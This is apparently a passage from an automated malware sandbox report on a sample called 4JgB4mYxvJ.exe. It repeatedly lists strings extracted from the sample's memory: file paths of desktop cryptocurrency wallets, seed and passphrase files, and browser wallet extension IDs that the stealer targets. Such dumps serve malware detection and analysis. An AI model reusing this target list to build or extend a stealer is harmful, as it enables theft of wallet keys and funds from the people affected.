Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2391523082.00000000042F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MetaMask\|djclckkglechooblngghdinmeemkbgci\|1\|0\|0\|MetaMask\|ejbalbakoplchlghecdalmeeeajnimhm\|1\|0\|0\|MetaMask\|nkbihfbeogaeaoehlefnkodbefgpgknn\|1\|0\|0\|TronLink\|ibnejdfjmmkpcnlpebklmnkoeoihofec\|1\|0\|0\|Binance Wallet\|fhbohimaelbohpjbbldcngcnapndodjp\|1\|0\|0\|Yoroi\|ffnbelfdoeiohenkjibnmadjiehjhajb\|1\|0\|0\|Coinbase Wallet extension\|hnfanknocfeofbddgcijnmhnfnkdnaad\|1\|0\|1\|Guarda\|hpglfhgfnhbgpjdenjgmdgoeiappafln\|1\|0\|0\|Jaxx Liberty\|cjelfplplebdjjenllpjcblmjkfcffne\|1\|0\|0\|iWallet\|kncchdigobghenbbaddojjnnaogfppfj\|1\|0\|0\|MEW CX\|nlbmnnijcnlegkjjpcfjclmcfggfefdm\|1\|0\|0\|GuildWallet\|nanjmdknhkinifnkgdcggcfnhdaammmj\|1\|0\|0\|Ronin Wallet\|fnjhmkhhmkbjkkabndcnnogagogbneec\|1\|0\|0\|NeoLine\|cphhlgmgameodnhkjdmkpanlelnlohao\|1\|0\|0\|CLV Wallet\|nhnkbkgjikgcigadomkphalanndcapjk\|1\|0\|0\|Liquality Wallet\|kpfopkelmapcoipemfendmdcghnegimn\|1\|0\|0\|Terra Station Wallet\|aiifbnbfobpmeekipheeijimdpnlpgpp\|1\|0\|0\|Keplr\|dmkamcknogkgcdfhhbddcghachkejeap\|1\|0\|0\|Sollet\|fhmfendgdocmcbmfikdcogofphimnkno\|1\|0\|0\|Auro Wallet(Mina Protocol)\|cnmamaachppnkjgnildpdmkaakejnhae\|1\|0\|0\|Polymesh Wallet\|jojhfeoedkpkglbfimdfabpdfjaoolaf\|1\|0\|0\|ICONex\|flpiciilemghbmfalicajoolhkkenfel\|1\|0\|0\|Coin98 Wallet\|aeachknmefphepccionboohckonoeemg\|1\|0\|0\|EVER Wallet\|cgeeodpfagjceefieflmdfphplkenlfk\|1\|0\|0\|KardiaChain Wallet\|pdadjkfkgcafgbceimcpbkalnfnepbnk\|1\|0\|0\|Rabby\|acmacodkjbdgmoleebolmdjonilkdbch\|1\|0\|0\|Phantom\|bfnaelmomeimhlpmgjnjophhpkkoljpa\|1\|0\|0\|Brave Wallet\|odbfpeeihdkbihmopkbjmoonfanlbfcl\|1\|0\|0\|Oxygen\|fhilaheimglignddkjgofkcbgekhenbh\|1\|0\|0\|Pali Wallet\|mgffkfbidihjpoaomajlbgchddlicgpn\|1\|0\|0\|BOLT X\|aodkkagnadcbobfpggfnjeongemjbjca\|1\|0\|0\|XDEFI Wallet\|hmeobnfnfcmdkdcmlblgagmfpfboieaf\|1\|0\|0\|Nami\|lpfcbjknijpeeillifnkikgncikgfhdo\|1\|0\|0\|Maiar DeFi Wallet\|dngmlblcodfobpdpecaadgfbcggfjfnm\|1\|0\|0\|Keeper Wallet\|lpilbniiabackdjcionkobglmddfbcjo\|1\|0\|0\|Solflare Wallet\|bhhhlbepdkbapadjdnnojkbgioiodbic\|1\|0\|0\|Cyano Wallet\|dkdedlpgdmmkkfjabffeganieamfklkm\|1\|0\|0\|KHC\|hcflpincpppdclinealmandijcmnkbgn\|1\|0\|0\|TezBox\|mnfifefkajgofkcjkemidiaecocnkjeh\|1\|0\|0\|Temple\|ookjlbkiijinhpmnjffcofjonbfbgaoc\|1\|0\|0\|Goby\|jnkelfanjkeadonecabehalmbgpfodjm\|1\|0\|0\|Ronin Wallet\|kjmoohlgokccodicjjfebfomlbljgfhk\|1\|0\|0\|Byone\|nlgbhdfgdhgbiamfdfmbikcdghidoadd\|1\|0\|0\|OneKey\|jnmbobjmhlngoefaiojfljckilhhlhcj\|1\|0\|0\|DAppPlay\|lodccjjbdhfakaekdiahmedfbieldgik\|1\|0\|0\|SteemKeychain\|jhgnbkkipaallpehbohjmkbjofjdmeid\|1\|0\|0\|Braavos Wallet\|jnlgamecbpmbajjfhmmmlhejkemejdma\|1\|0\|0\|Enkrypt\|kkpllkodjeloidieedojogacfhpaihoh\|1\|1\|1\|OKX Wallet\|mcohilncbfahbmgdjkbpemcciiolgcge\|1\|0\|0\|Sender Wallet\|epapihdplajcdnnkdeiahlgigofloibg\|1\|0\|0\|Hashpack\|gjagmgiddbbciopjhllkdnddhcglnemk\|1\|0\|0\|Eternl\|kmhcihpebfmpgmihbkipmjlmmioameka\|1\|0\|0\|Pontem Aptos Wallet\|phkbamefinggmakgklpkljjmgibohnba\|1\|0\|0\|Petra Aptos Wallet\|ejjladinnckdgjemekebdpeokbikhfci\|1\|0\|0\|Martian Aptos Wallet\|efbglgofoippbgcjepnhiblaibcnclgk\|1\|0\|0\|Finnie\|cjmkndjhnagcfbpiemnkdpomccnjblmj\|1\|0\|0\|Leap Terra Wallet\|aijcbedoijmgnlmjeegjaglmepbmpkpi\|1\|0\|0\|Trezor Password Manager\|imloifkgjagghnncjkhggdhalmcnfklk\|1\|0\|0\|Authenticator\|bhghoamapcdpbohphigoooaddinpkbai\|1\|0\|0\|
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 